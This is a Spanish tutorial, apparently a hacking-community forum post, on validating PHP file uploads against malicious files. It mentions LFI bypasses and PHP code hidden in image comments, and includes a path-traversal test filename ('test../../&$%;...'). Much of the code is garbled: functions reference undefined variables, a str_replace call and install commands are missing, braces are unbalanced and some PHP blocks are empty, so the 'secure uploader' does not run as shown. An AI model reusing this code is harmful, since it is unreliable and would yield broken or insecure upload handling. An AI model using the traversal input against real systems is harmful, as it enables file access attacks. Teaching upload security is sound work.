Seth: <?php $testcase = array("sample.txt", "sample.jpg", "sample.case.txt.jpg"); function extension($filename){ return $path_parts['extension']; } foreach($testcase as $test) { echo "Extension from $test is " . extension($test) . "\n"; } ?>
C1c4Tr1Z: <?php $files=array("example.php", "new_example.log", "third.txt", "something.asp", "another_thing.js"); foreach($files as $file){ $extention; if((preg_match('/(?:[\.]+([a-z0-9]{2,3}))$/i', $file, $extention))){ echo "$file -> {$extention[1]}\n"; } } ?>
WHK (elhacker.net): <?php $files=array("example.php", "new_example.log", "third.txt", "something.asp", "another_thing.js", 'x..jpeg'); foreach($files as $file){ $extention; if((preg_match('/(?:[\.]+([a-z0-9]{2,3}))$/i', $file, $extention))){ echo "$file -> {$extention[1]}\n"; } } ?>
Bypassing por extensión de archivo:Una verificación por extension evitaría subir en teoría subir código de riesgo a la carpeta de uploads. Sin embargo existen metodos para poder burlarla como los LFI (Local File Inclusion) que aprovechan las funciones: include() include_once() require() require_once()
No entraré a explicar los LFI. Puedes encontrar un número elevado de textos si buscas por la red un poco. Solución:La mejor solución bajo mi punto de vista sería utilizar una mezcla de todas. Veamos un ejemplo de uploader seguro en el que se deberan de pasar varios filtros. Si se pasa el primer filtro, deberá pasarse el siguiente y así sucesivamente. Finalmente si se pasan todos los filtros la imagen se renombrará con un nombre aleatorio de 15 caracteres y su extensión correspondiente. Esta aplicación no nos protegería de una imagen con código PHP incrustado en los comentarios y extensión de imagen. Así que ¡¡ CUIDADO CON LOS LFI!! <html> <head> <meta http-equiv='Content-type' Content='charset UTF-8'> <title>Aplicación segura</title> <body> <center> <h2>Uploader de imágenes</h2> <FORM method="POST" ENCTYPE="multipart/form-data" action='uploadsec.php'> <INPUT type='file' name='archivo'> <INPUT type='submit' name='button' value='Enviar'> </FORM> <?php $dir= 'images/'; $file= basename($_FILES['archivo']['name']); if ($_FILES['archivo']['type'] != "image/gif" && $_FILES['archivo']['type'] != "image/jpeg"){ echo "<script>alert('Archivo no permitido! El archivo no es una imagen.')</script>"; }elseif(exif_imagetype($_FILES['archivo']['tmp_name']) != IMAGETYPE_GIF && exif_imagetype($_FILES['archivo']['tmp_name']) != IMAGETYPE_JPEG ){ echo "<script>alert('Archivo no permitido! Se intentó subir un archivo envenenado.')</script>"; }else{ } } ?> </body> </html>
Un método propuesto por WHK, de elhacker.net, para la validación del nombre del archivo es este: <?php $nombrearchivo = 'test../../&$%;,(xx)-_-(xx)[]*\\n.jpg'; "\x00", '*', '\\', '/', ':', '?', '¿', '<', '>', '|', '&', ',', ';' ), '', $nombrearchivo); echo $nombrearchivo; ?>
También sería oportuno asignar unos valores en el php.ini a las variables: - upload_max_filesize - post_max_size - upload_tmp_dir Para validar otros archivos que no sean imágenes, podemos usar fileinfo del repositorio PECL. Para ello tendremos que instalar Pear.Una vez instalado Pear, podemos instalar la librería de la siguiente manera: Después podemos hacerla correr añadiéndola como extensión al php.ini: ó en el propio script: <?php dl(“fileinfo .” . PHP_SHLIB_SUFFIX );?>
Para verificar el tipo de archivo se puede utilizar de dos maneras. La primera nos mostraría una descripción del tipo de archivo y la segunda sólo el tipo de archivo: <?php ?>
Si alguien considera que esta aplicación no es segura del todo ó que hay alguna errata ó conoce alguna forma mejor de programarla, que postee en los comentarios su aporte y será añadio y se harán las correcciones oportunas. Toda crítica constructiva es bienvenida. Gr33tz:Agradecimientos a Pr0x, Protos, Lix, OzX, Yasión, Seth, Nork, S[e]C, N0b0dy, 1995, C1c4Tr1Z, WHK y a todos los miembros de Undersecurity y N3t-Datagrams. Ejemplos: http://n3t-datagrams.net/downloads/phpuploadsexamples.tar.gzFUENTE: http://n3t-datagrams.net/docs/?/=15Saludos!
|
|
|
|
|
|
|